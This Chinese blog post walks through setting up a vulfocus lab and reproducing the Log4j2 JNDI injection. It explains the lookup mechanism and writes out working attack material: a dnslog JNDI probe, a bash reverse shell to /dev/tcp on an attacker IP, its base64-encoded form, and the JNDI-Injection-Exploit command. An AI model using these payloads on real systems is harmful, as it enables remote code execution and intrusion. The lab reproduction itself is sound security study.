本地搭建vulfocus靶场&复现log4j2漏洞

搭建vulfocus靶场

环境用的是linux下的centos

1.首先需要在centos中安装docker环境
curl -sSL https://get.daocloud.io/docker | sh

2.开启docker:
systemctl start docker

3.下载vulfocus镜像
docker pull vulfocus/vulfocus:latest

4.映射到centos中
docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=<centos的ip> vulfocus/vulfocus(80:80前面为真机端口,后面是虚机端口,IP地址为虚机地址用于访问靶场)

5.完成后访问centos的ip即可
在这里插入图片描述

复现log4j2漏洞

打开漏洞环境访问
在这里插入图片描述

log4j2漏洞原理

log4j2会将用户输入的信息自动记录到日志中
当用户输入正常的字符串时,log4j2会正常的记录
在这里插入图片描述

当用户输入${java:os}等时,写入到日志文件后,检测到${xxx:xxx},log4j就会通过uplook函数去执行${}中对应的接口
在这里插入图片描述
1.此时如果黑客输入类似${jndi:ldap:192.168.42.132:1099/shell}时,此条命令写入日志后,log4j中的lookup方法就会去解析括号里面的内容,去执行${}中的jndi接口的ldap协议,然后去访问192.168.42.132:1099找到idap服务对应的shell资源。

2.当没有找到时就会去http服务寻找,在http中找到shell之后,就会将资源信息返回给应用程序的log4j组件,而log4j组件就会下载下来,然后发现shell是一个.class文件,就会去执行里面的代码,实现远程代码执行

3.黑客可在.class文件中写入shell,从而反弹

复现

打开环境后这里可以看到hello后面跟的payload参数

在这里插入图片描述
漏洞验证,我们打开dnslog,并通过burp抓包进行测试
payload:${jndi:ldap://06k1aw.dnslog.cn} ,idap后面跟的是dnslog的网址,注意此处需要url编码否则返回400

解释:log4j将用户输入的${jndi:ldap://06k1aw.dnslog.cn}写入日志,日志发现有${}则对里面的内容进行解析,去执行jndi接口,然后通过jndi中的ldap服务的执行,去访问对应的网址

在这里插入图片描述
发送数据包后,刷新dnslog页面,发现受到了访问,确实执行了ldap服务去访问dnslog的页面

在这里插入图片描述

验证成功后,接下来就可以复现了

构造反弹shell的payload:

bash -i >& /dev/tcp/192.168.42.132/1234 0>&1,此处ip为接收shell攻击机的ip,端口为监听的端口

由于Runtime执行linux命令时管道符不生效,所以需要将命令进行加密
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjQyLjEzMi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}

在这里插入图片描述
在攻击机上搭建JNDI服务,工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
github上一搜就有

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "反弹shell命令" -A "该IP是开启JDNI服务的主机地址"

通过工具生成jdni服务网址,当受害机通过jdnildap协议去访问这些网址时,没有找到ldap对应的资源时就会通过http协议去访问,然后将资源返回给log4jlog4j发现资源是一个.class文件就会把他下载下来,并执行

此时下载下来的.class文件中的内容是我们写好的反弹shell的命令就会去反向连接我们的攻击机

在这里插入图片描述
攻击机这边通过nc监听本地的端口

在这里插入图片描述

burp这边抓包payload替换使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar生成的网址

在这里插入图片描述
同样进行url编码后发送

在这里插入图片描述
在这里插入图片描述JDNI服务这边也显示收到了访问

在这里插入图片描述攻击机这边已经成功获取受害主机的shell

在这里插入图片描述

复现结束

  • 2
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值